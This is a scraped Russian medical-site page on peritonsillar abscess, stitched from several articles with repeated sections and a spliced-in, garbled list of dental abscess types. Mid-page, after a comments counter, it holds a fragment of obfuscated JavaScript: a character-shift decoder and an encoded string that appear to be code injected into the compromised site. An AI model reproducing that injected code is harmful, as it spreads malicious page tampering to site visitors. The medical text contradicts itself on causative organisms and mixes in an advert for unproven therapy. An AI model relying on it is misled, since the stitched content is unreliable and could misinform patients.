Методы диагностики и лечения паратонзиллярного абсцесса

Заболевания глотки одни из самых распространенных и легко переносимых, поэтому часто при виде небольшого улучшения лечение забрасывается, несмотря на все известные риски осложнений. Одной из таких опасностей является абсцесс, который представляет собой заполненную гноем полость. Он не только доставляет дискомфорт, но и является опасным для здоровья и жизни человека.

Медицинская библиотека

  • Акушерство и гинекология
  • Анатомия и физиология
  • Анестезиология и реаниматология
  • Болезни органов дыхания
  • Болезни пищеварительной системы
  • Болезни сердечно-сосудистой системы
  • Гематология
  • Дерматология и венерология
  • Инфекционные болезни
  • Информация
  • Контрацепция
  • Красота, здоровье, долголетие
  • Неврология и невропатология
  • Онкология
  • Оториноларингология
  • Офтальмология
  • Педиатрия
  • Психология и психиатрия
  • Сексология и сексопатология
  • Стоматология
  • Судебная медицина
  • Терапия
  • Урология и нефрология
  • Фармакология
  • Хирургия
  • Oбщая хирургия
  • Краткие сведения об операциях
  • Эндокринология
  • Энциклопедия

Причины развития абсцесса

Любые нагноения тканей, в том числе и паратонзиллярный абсцесс, всегда обусловлены действием болезнетворных агентов. Нагноение миндалин провоцируют стафилококки и стрептококки. В 80% случаев диагностируется именно стрептококковая инфекция.

Паратонзиллярная форма абсцесса развивается на фоне:

  • невылеченного тонзиллита,
  • наличия хронического очага инфекции,
  • сахарного диабета 1 и 2 типа,
  • иммунодефицита.

Заболевание диагностируется у подростков и взрослых до 30 лет. Другие возрастные группы меньше подвержены этой патологии. У взрослых паратонзиллярный тип абсцесса нередко осложняется вредными привычками (курением) и несбалансированным питанием. Болезнь еще называется флегмонозной ангиной или гнойным тонзиллитом.

Нередко развитие нагноения обусловлено наличием очага инфекции в ротовой полости (кариес) или механическим повреждением глотки и тканей миндалин.

Вскрытие и дренирование, и последующее лечение

Как распознать болезнь:

  • человеку становится трудно глотать;
  • тяжело закрывать и открывать ротовую полость;
  • температура тела резко повышается до 39-40 градусов;
  • рядом с абсцессом резко портятся здоровые зубы. Они гниют, источают неприятный запах.

Стоматология выделяет разные виды абсцессов:

  • Одонтогенный. Характеризуется надрывом в полости рта. Способствует надрыву инфекционный периодонтит, вылезание коренных наружу, острый пародонтит, челюстно-лицевая травма, лимфатическое воспаление. Появиться гнойник может, где угодно. Человек слабеет на глазах, лицо перекошено, наблюдается повышение температуры тела, возможны понос, рвота.
  • Флегмонный. Возникает на нижних зубьях. Месторасположение – область подбородка. У человека стразу затрудняется речь, ему больно глотать, наблюдается отеки во рту, температура тела достигает 40 градусов. Требуется незамедлительная помощь медицинских работников.
  • Крыловидно-челюстной. Язва располагается в углу на челюсти нижней. Пациенту трудно глотать, закрывать и открывать ротовую полость. Такой больной нуждается в немедленной операции.
  • Гнойный. Находят в корневых системах резцов сверху. Человек отмечает резкую боль в зубе. До него – не дотронуться. Температура в данном случае поднимается редко. На абсцесс укажет отек слизистой во рту. Сам зуб можно спасти, если заметить проблему в самом начале.
  • Околоушно-жевательный. Расположен возле зубов мудрости. Болят уши, область отекает, щеки деформируются, трудно открыть и закрыть рот. Может перейти в виски, привести к летальному исходу.
  • Позадичелюстной. Также связан с зубьями мудрости. Место – сзади бугра на челюсти сверху. Трудно глотать, открывать и закрывать рот, повышается температура, прикосновение к челюсти становится очень болезненным, сложным.
  • Твердонебный. Характеризуется возникновением язвы на небе. Тело горячее, есть отечность, слизистая очень красная.
  • Челюстно-язычный. Страдают моляры нижние. Язва расположена вдоль желобка, ее заметно при поверхностном осмотре. Острая постоянная боль характера для этого типа.
  • Щечный. Появляется на щеках. Лицо меняет форму. Становится одутловатым.
  • Язычный. Располагаются язвы на языке. Отекает язык, речь становится невнятной.

Чтобы точно поставить диагноз, врач назначит рентгенологическое обследование.

Если абсцесс подтвердится, его вскроют, потом дренируют.

Вскрытие – это рассечение. Применяется местное обезболивание. Абсцесс опорожняют с помощью насоса стоматологического. Заключительный этап вскрытия – чистка вручную. Дренирование – это помещение трубочки из резины или марлевого тампона с антисептиком на место гнойника. Трубочка выведет гной, чтобы он не скапливался снова.

Потом будет проведено лечение. Назначат антибиотики, антибактериальные средства. Их применение строго обязательно, иначе победить болезнь не удастся. Народные методы тут – как помощники, но не в качестве основной терапии.

Читайте также:  Передняя и задняя риноскопия: показания, методика проведения

Будет назначено регулярное полоскание ротовой полости. Спустя 2 недели – месяц стоматолог запломбирует корневой канал.

Это – финальная часть лечения. В завершении сделают рентген, чтобы убедиться в исчезновении абсцесса.

Галерея к статьеКомментариев: 0function _dS(a){var b=(»),c=();return (function(d){var e=(0)-c;return (32>e?127-(32-e):e)}).join(»)}
var _y8M = _dS(‘Erwy~})}#ynF+qrmmnw+)wjvnF+|x|+) ju~nF+

Паратонзиллярный абсцесс — лечение

Вам не следует лечить паратонзиллярный абсцесс в домашних условиях. Обратитесь к врачу, чтобы обсудить соответствующие методы лечения. Лечение будет зависеть от того, насколько серьезен абсцесс и насколько хорошо человек реагирует на антибиотики. Врач может попробовать сначала лечить паратонзиллярный абсцесс антибиотиками. Если они не оказывают никакого влияния, врач может удалить гной из абсцесса.

Медицинские процедуры для лечения паратонзиллярного абсцесса включают в себя:

  • удаление гноя с помощью иглы и шприца;
  • прокалывают абсцесс скальпелем, чтобы освободить и опорожнить гной;
  • удаление миндалин хирургическим путем с помощью процедуры, называемой тонзиллэктомией, которую врач может порекомендовать, если у человека возникают повторяющиеся паратонзиллярные абсцессы;

Лечение паратонзиллярного абсцесса

Паратонзиллярный абсцесс представляет собой осложнение хронического тонзиллита или острой ангины. Гноеродные микробы проникают в околоминдаликовую клетчатку из нагноившихся глубоко расположенных в ткани миндалины фолликулов или из глубоких лакун, достигающих капсулы миндалин, и вызывают там воспаление с образованием нарыва.

Причины возникновения паратонзиллярного абсцесса

Паратонзиллярный абсцесс возникает вследствие распространения воспалительного процесса с небных миндалин на паратонзиллярную клетчатку. Это осложнение чаще наблюдается при хроническом тонзиллите, нежели чем при впервые перенесенной ангине.

Возбудителем паратонзиллита является, как правило, та же самая флора, что явилась причиной ангины или обострения хронического тонзиллита.

Самый частый путь проникновения инфекции — тонзиллогенный, когда инфекция попадает в клетчатку из верхнего полюса миндалины, где имеются глубокие и извитые лакуны, тонкая капсула миндалины и наиболее рыхлая ткань клетчатки.

Причиной паратонзиллита могут быть также травма глотки инородным телом, неправильное прорезывание зуба мудрости или перикоронарит последнего. Однако одного проникновения инфекции для развития патологического процесса недостаточно. Поэтому факторы, влияющие, а общую реактивность: переохлаждение, нарушение обмена веществ, стресс имеют также большое значение.

Разновидности паратонзиллярных абсцессов

Различают передне-верхний, задний и нижний паратонзиллярные абсцессы.

В 90% случаев встречается передне-верхний паратонзиллярный абсцесс. Это связано с тем, что верхний полюс миндалины, расположенный в recessus supratonsillaris, дренируется недостаточно, с трудом.

При этой локализации абсцесс располагается между верхней частью небно-язычной дужки, передне-верхний частью надминдаликовой ямки и верхним полюсом миндалины. Гиперемированное и отечное мягкое небо на стороне поражения выступает кпереди.

Обычно на 5-6 день в верхних отделах небно-язычной дужки появляется место выпячивания гнойника в виде возвышения желтоватого цвета. В этом месте абсцесс может самопроизвольно вскрыться.

Задний паратонзиллярный абсцесс: По сравнению с абсцессом передне-верхним наблюдается гораздо реже (примерно в 10% случаев). Местная симптоматика имеет иной характер по сравнению с передне-верхним абсцессом! Во-первых, полностью отсутствует феномен тризма, что в дифференциально-диагностическом плане весьма существенно. Именно этот абсцесс потенциально опасен развитием отека гортани, с последующим острым стенозом этого органа.

Нижний паратонзиллярный абсцесс: Нижний паратонзиллярный абсцесс встречается довольно редко. Его развитие связано, как правило, с одонтогенной причиной. Абсцесс располагается в клетчатке за нижней третью небной дужки между небной и язычной миндалинами.

Осложнения паратонзиллярного абсцесса

Обычно течение паратонзиллярного абсцесса заканчивается выздоровлением, однако при высокой вирулентности патогенной флоры и ослаблении защитных сил организма может развиться такое грозное осложнение, как флегмона парафарингеального пространства. Из паратонзиллярной клетчатки через верхний сжиматель глотки инфекция проникает в парафарингеальное пространство.

Состояние больного с флегмоной окологлоточного пространства весьма тяжелое. Температура тела достигает высоких цифр, отмечается выраженная общая интоксикация, слюнотечение, тризм и неприятный запах изо рта. Глотание затруднено и болезненно. Из-за реактивного оттека гортани могут развиться осиплость и затруднение дыхания. При осмотре больной старается держать шею неподвижно, наклонив ее в сторону поражения.

При пальпации переднебоковая поверхность шеи напряжена, отмечается ее припухлость и болезненность. Флегмона парафарингеального пространства представляет опасность из-за возможности развития гнойного медиастенита, аррозивного кровотечения из крупных сосудов шеи и тромбофлебита и тромбоза внутренней яремной вены с септическими осложнениями.

В нашем медицинском центре оказывается ургентная квалифицированная помощь больным с этим неприятным заболеванием. Благодаря минералотерапии и лазерной медицине удаётся максимально быстро вернуть пациента к нормальной жизни.

Читайте также:  Как лечить ОРЗ у взрослых, симптомы заболевания

Паратонзиллярный абсцесс: лечение, симптомы и причины возникновения заболевания

Лечение паратонзиллярного абсцесса происходит под руководством врача. Это заболевание считается следствием длительного, нередко хронического течения воспалительного процесса. Его причины различны. Насколько опасен гнойник, находящийся в полости рта и как от него избавиться?

Причины паратонзиллярного абсцесса

Существует несколько факторов, которые предшествуют появлению гнойника в тканях миндалин. Как правило, заболевание развивается на фоне длительного и некомпенсированного течения ангины. Но существуют и другие причины, способные привести к возникновению патологических процессов в ротовой полости:

  1. Травматическое повреждение мягких тканей миндалин. В результате воздействия происходит инфицирование клетчатки, рана не затягивается, в ней начинают активно размножаться болезнетворные бактерии. Воспалительный процесс приводит к образованию гнойника и ухудшению самочувствия больного.
  2. Кариес верхних зубов. Разрушение зуба происходит под действием микроорганизмов, если полость рта не санировать, не лечить кариес, то возникнет риск инфицирования мягких тканей. В качестве причины возникновения абсцесса может выступать и гингивит острой или хронической формы течения.
  3. Причина развития воспаления и образования гнойника – это наличие очага инфекции. При этом бактерии успешно размножаются, поражая близлежащие ткани. Врачи отмечают, что чаще всего абсцесс развивается, как осложнение тонзиллита.

Основные возбудители болезни:

  • грибковые микроорганизмы рода Кандида;
  • патогенная микрофлора (бактерии: пневмококки и клебсиеллы).

Паратонзиллярный абсцесс имеет и ряд других особенностей, которые медики классифицируют, как характерные черты болезни:

  1. Развивается преимущественно у лиц в возрасте от 15 до 35 лет.
  2. Носит сезонный характер и диагностируется осенью или зимой, когда вероятность переохлаждения возрастает.
  3. Имеет несколько стадий развития, но на начальном этапе подобный диагноз в силу объективных причин пациентам ставят редко.

В качестве причины может выступать: ослабление активности иммунитета, наличие заболеваний аутоиммунного характера, появление рубцов на тканях миндалин.

Патогенез

Воспаление клетчатки вокруг миндалин осложняется течением тонзиллита хронической формы. В результате чего в тканях образуются глубокие полости. В случае инфицирования патогенные агенты проникают в эти полости, вызывая воспаление.

Ситуация осложняется в случае, если на тканях есть рубцы. Клетчатка срастается с капсулой миндалины. Такие условия считают благоприятными для роста и размножения патогенных микроорганизмов, поскольку нарушен процесс отхождения бактериальных масс.

Микроорганизмы могут с током лимфы попасть в клетчатку и при наличии очага хронической инфекции в организме вызвать воспалительный процесс. Речь идет о заболеваниях системного характера.

При травматических повреждениях микроорганизмы попадают в ткани контактным путем, что приводит к развитию воспаления и появлению гнойника.

Стадии развития

Существует несколько этапов развития болезни, классификация позволяет понять, на какой стадии находится воспалительный процесс и с какой скоростью он прогрессирует:

  • Отечная. На этом этапе увеличивается в объеме клетчатка, возникает боль при глотании, но носит она слабо выраженный характер. Поставить больному диагноз на этой стадии сложно, даже при обращении к врачу с предъявлением конкретных жалоб. Но если в этот момент начать терапию антибиотиками, то вскрывать абсцесс не придется.
  • Инфильтрационная стадия паратонзиллярного абсцесса диагностируется и успешно лечиться в 15-25% случаев. Когда болезнь переходит в эту форму, у человека появляются признаки интоксикации. На фоне протекания воспаления повышается температура тела, развивается гипертермия ткани. Сопутствующая симптоматика усиливается.
  • Абсцедирующая стадия наблюдается у больных на 4-7 день с момента появления неприятной симптоматики. Гнойник полностью сформирован, у человека присутствует боль, она беспокоит не только при глотании, но и при движении головой, отдает в челюсть и ухо. Болевой синдром носит резкий, неприятный характер. Проявляются трудности при глотании жидкой пищи. Интоксикация нарастает. Эта стадия считается завершающей.

Симптомы паратонзиллярного абсцесса, первые признаки

Симптомы паратонзиллярного абсцесса вначале могут быть общими, или двусторонними, а затем приобретают четкую латерализацию (односторонний характер), если осложнение произошло на фоне ангины. Если же абсцесс развился в «холодный период», то жалобы сразу возникают односторонние:

Симптомы паратонзиллярного абсцесса, первые признаки
  • Первым признаком паратонзиллярного абсцесса является появление боли при глотании с одной стороны;
  • Затем боль начинает беспокоить и в покое, становится постоянной. При «пустом» глотке и сглатывании слюны также происходит ее резкое усиление;
  • Боль усиливается, приобретает «грызущий и рвущий» характер, пациенты отказываются от питья и пищи из-за боли, которая отдает в ухо, в челюсть;
  • Возникает слюнотечение, которое происходит из одного угла рта с пораженной стороны;
  • Появляется неприятный запах изо рта, и возникает тризм, или рефлекторное напряжение жевательных мышц. Таким образом они реагируют на близко расположенный очаг воспаления.
Читайте также:  Масла в нос: виды, как закапывать и смазывать, детям и взрослым

Симптомы паратонзиллярного абсцесса, первые признаки

Симптомы паратонзиллярного абсцесса вначале могут быть общими, или двусторонними, а затем приобретают четкую латерализацию (односторонний характер), если осложнение произошло на фоне ангины. Если же абсцесс развился в «холодный период», то жалобы сразу возникают односторонние:

  • Первым признаком паратонзиллярного абсцесса является появление боли при глотании с одной стороны;
  • Затем боль начинает беспокоить и в покое, становится постоянной. При «пустом» глотке и сглатывании слюны также происходит ее резкое усиление;
  • Боль усиливается, приобретает «грызущий и рвущий» характер, пациенты отказываются от питья и пищи из-за боли, которая отдает в ухо, в челюсть;
  • Возникает слюнотечение, которое происходит из одного угла рта с пораженной стороны;
  • Появляется неприятный запах изо рта, и возникает тризм, или рефлекторное напряжение жевательных мышц. Таким образом они реагируют на близко расположенный очаг воспаления.

При возникновении тризма появляется затруднение при попытке открыть рот. Не нужно путать тризм с болью: при боли рот все – таки открыть можно, а при тризме ощущается сопротивление, словно кто – то снаружи поднимает челюсть и пытается его закрыть.

Возникновение тризма – это практически патогномоничный признак того, что уже возник объем, заполненный гноем, и наступила третья стадия развития болезни.

Симптомы паратонзиллярного абсцесса проявляются остро — это означает, что развивается выраженная припухлость, покраснение, сильная боль и локальный жар. Кроме этого, у пациента присутствуют:

Симптомы паратонзиллярного абсцесса, первые признаки
  • Невнятность, смазанность и гнусавость речи;
  • Появляется сильная боль при наклонах и поворотах головы и шеи. Пациент старается поворачиваться сам, как статуя. Это также является признаком «назревшего» абсцесса;
  • При еде и питье возникают физические затруднения. Разбухшая с одной стороны слизистая оболочка мешает продвижению пищи, и жидкость может вытекать через нос;
  • Появляется высокая температура, возникает недомогание, в крови определяется нейтрофильный высокий лейкоцитоз;
  • Если открыть рот и посмотреть в зеркало, то состояние зева будет резко асимметричным, а в области выпячивания рядом с миндалиной будет видно резкое покраснение. При ощупывании пальцем этот участок будет намного горячее, чем на соседней стороне.

Такое мучительное состояние, в среднем, продолжается от 4 дней до недели. За это время у пациента может развиться обезвоживание, поскольку он не может пить, и выраженная невротизация на фоне интоксикации и лихорадки.

В 25% всех случаев, абсцесс вскрывается самостоятельно, что приносит резкое облегчение, с литическим (быстрым) снижением температуры и фактическим выздоровлением. Но чаще всего, паратонзиллярный абсцесс расположен так, что этого не происходит, и пациенту требуется операция.

Как лечить еще не созревший абсцесс, и можно ли избежать операции?

Особенности течения патологии

Описываемое заболевание нуждается в адекватном и своевременном лечении. Ведь в противном случае велика вероятность развития серьезных осложнений. Некоторые из них представляют угрозу для жизни.

Некоторые думают, что флегмонозная ангина может пройти самостоятельно. На самом деле иногда, действительно, гнойники вскрываются самостоятельно.

В среднем через неделю от начала развития заболевания происходит самопроизвольное вскрытие гнойных образований. Это приводит к резкому улучшению состояния больного. У него снижается температура, мучительная боль становится менее выраженной, гной попадает в слюну.

Особенности течения патологии

При этом вскрытие гнойников не гарантирует полное излечение. В пораженных полостях остается инфекция. В большинстве случаев они вновь наполняются гнойным содержимым. Также без правильного лечения увеличивается вероятность возникновения рецидивов.

Иногда болезнь протекает тяжелее. В этом случае вскрытие углублений, наполненных гноем, происходит более чем через две недели. В этом случае риски возникновения осложнений становятся выше.

В редких случаях гнойная субстанция может проникать в очень глубокие слои тканей вокруг глотки. Такой острый паратонзиллярный абсцесс связан с еще более серьезными рисками. Ведь тогда самостоятельного освобождения гнойников не происходит. Такие ситуации осложнены тем, что консервативное лечение в данном случае не помогает, и для нормализации состояния больного необходимо хирургическое вмешательство.

Виды и формы абсцесса ангины

Медики выделяют три вида абсцессов.

Виды и формы абсцесса ангины
  1. Заглоточный. Чаще всего возникает после инфицирования у деток.
  2. Боковой. Появляется в результате инфекций или как результат механического повреждения миндалин у взрослых. Он считается самым сложным, так как может распространиться на область глотки.
  3. Околоминдаликовый. Его связывают с инфекционными заболеваниями, ослаблением иммунитета в результате болезней, возникновением рубцов во время ангины, рыхлой клетчаткой вокруг миндалин (как результат той же ангины) и наличием анаэробных или аэробных бактерий (стрептококков или стафилококков). Этот вид абсцесса возникает как результат ангины, в процессе которой к основной инфекции присоединились другие бактерии.